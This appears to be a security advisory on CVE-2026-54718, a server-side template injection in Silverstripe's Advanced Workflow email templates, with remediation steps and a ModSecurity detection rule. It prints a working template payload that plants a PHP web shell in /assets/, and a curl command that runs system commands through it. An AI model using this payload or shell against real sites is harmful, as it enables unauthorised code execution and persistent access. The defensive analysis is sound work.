CVE-2026-54718: Remote Code Execution via Advanced Workflow Email Template in Silverstripe

The Silverstripe Advanced Workflow module provides sequential workflow capabilities for content publishing pipelines. Within this module, the NotifyUsersWorkflowAction class is responsible for sending customized email notifications when specific workflow steps are triggered. This class exposes an EmailTemplate field allowing administrators and content authors to define custom text layouts.\n\nThese layout templates are parsed dynamically using the Silverstripe SSTemplateParser engine. This engine is designed to interpret variables, conditional logic, and translation helpers like <%t %>. However, because the engine compiles templates directly into intermediate executable PHP structures, any lack of isolation during the compilation step introduces a significant attack surface.\n\nThis vulnerability belongs to the Server-Side Template Injection (SSTI) class (CWE-1336). By injecting malicious interpolation patterns within the workflow action configurations, a high-privileged attacker can bypass standard template safety constraints and force the template parser to execute system-level commands.

The root cause of the vulnerability lies in how the translation helper tag <%t %> processes default string arguments inside the SSTemplateParser class. The default helper syntax permits authors to set fallback values in translation tags, which are typically wrapped in double quotes. To support dynamic localization values, the engine allowed variable interpolation inside these double-quoted default fallback strings.\n\nWhen the template engine evaluates an interpolation marker like {$Variable}, the parser translates the nested block into compiled PHP operations. The parser failed to validate that the components inside the brackets were restricted to safe variable symbols. Instead, it evaluated the string elements recursively, transforming raw function calls inside the brackets into executable expressions.\n\nBecause the workflow execution sequence compiles these templates directly onto the server before evaluation, an attacker can leverage this path to execute arbitrary PHP actions. By calling native functions like file_put_contents within the interpolation delimiters, the system compiles the command directly into the cached template file, triggering execution automatically whenever the workflow phase is processed.

Analyzing the patch environment exposes how the framework requirements were modified to resolve the flaw. Rather than modifying the Advanced Workflow code directly, the remediation locks the framework core to enforce strict parsing restrictions inside translation blocks.\n\nIn the vulnerable structure, the parser allowed nested functions to execute because it recursively resolved interpolation expressions before sanitizing the translation helper syntax. The following payload illustrates the execution syntax:\n\nhtml\n<%t VulnerableTag \"{$('file_put_contents'('assets/rce.php', '<?php system($_GET[\\'cmd\\']); ?>'))}\" %>\n\n\nTo resolve this, the framework introduced constraints in the core parser to prevent arbitrary method calls within localization strings. In Silverstripe modern environments (v6), this change was pushed into the silverstripe/template-engine package version 1.0.1:\n\njson\n// Required engine update\n{\n \"require\": {\n \"silverstripe/template-engine\": \"^1.0.1\"\n }\n}\n\n\nFor Silverstripe v5 deployments, equivalent security checks were integrated into the core framework package version 5.4.30:\n\njson\n// Required framework update for v5 compatibility\n{\n \"require\": {\n \"silverstripe/framework\": \"^5.4.30\"\n }\n}\n

Exploitation of CVE-2026-54718 requires authenticated credentials with privileges to create or modify advanced workflows. The attacker locates the administrative panel and navigates to the Advanced Workflow setup. From there, they insert a payload into the EmailTemplate field of a NotifyUsersWorkflowAction instance.\n\nThe template execution pipeline is mapped in the following sequence:\n\nmermaid\ngraph LR\n A[\"Attacker Workflow Configuration\"] --> B[\"NotifyUsersWorkflowAction.EmailTemplate\"]\n B --> C[\"SSTemplateParser Processing\"]\n C --> D[\"Translation Tag <%t %> Parsing\"]\n D --> E[\"Unchecked Dynamic Interpolation\"]\n E --> F[\"Server-Side PHP Evaluation (RCE)\"]\n\n\nDuring execution, the template payload writes a custom PHP web shell script into the publicly accessible /assets/ directory. The attacker can then issue shell operations remotely by calling the newly created script directly:\n\nbash\ncurl -s \"https://target-silverstripe-site.com/assets/rce.php?cmd=id\"\n\n\nThis payload effectively establishes persistent access and bypasses standard authorization boundaries to access backend infrastructure parameters.

The definitive mitigation for this vulnerability is upgrading the underlying dependencies of the Silverstripe application. This ensures that the dynamic parser is restricted from compiling function calls within translation blocks.\n\nRun the following command within your application root to fetch safe versions of the framework packages:\n\nbash\ncomposer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow\n\n\nFor environments where dependencies cannot be updated immediately, implement the following virtual mitigations:\n\n1. Restrict write permissions on the public /assets/ directories, preventing the execution of dynamic PHP code within these paths.\n\n2. Monitor database changes on the NotifyUsersWorkflowAction tables for configurations containing <%t tags paired with complex bracket notation {$.\n\n3. Deploy the following ModSecurity rule to detect incoming template injection attempts on workflow editing endpoints:\n\nnginx\nSecRule REQUEST_BODY \"(?i)<%t\\s+[\\w\\-]+\\s+\\\".*\\{\\$.*\\}\\\".*%>\" \\\n \"id:4000185,\\\n phase:2,\\\n deny,\\\n status:403,\\\n log,\\\n msg:'SSTI Attempt via Silverstripe Translation Helper Injection'\"\n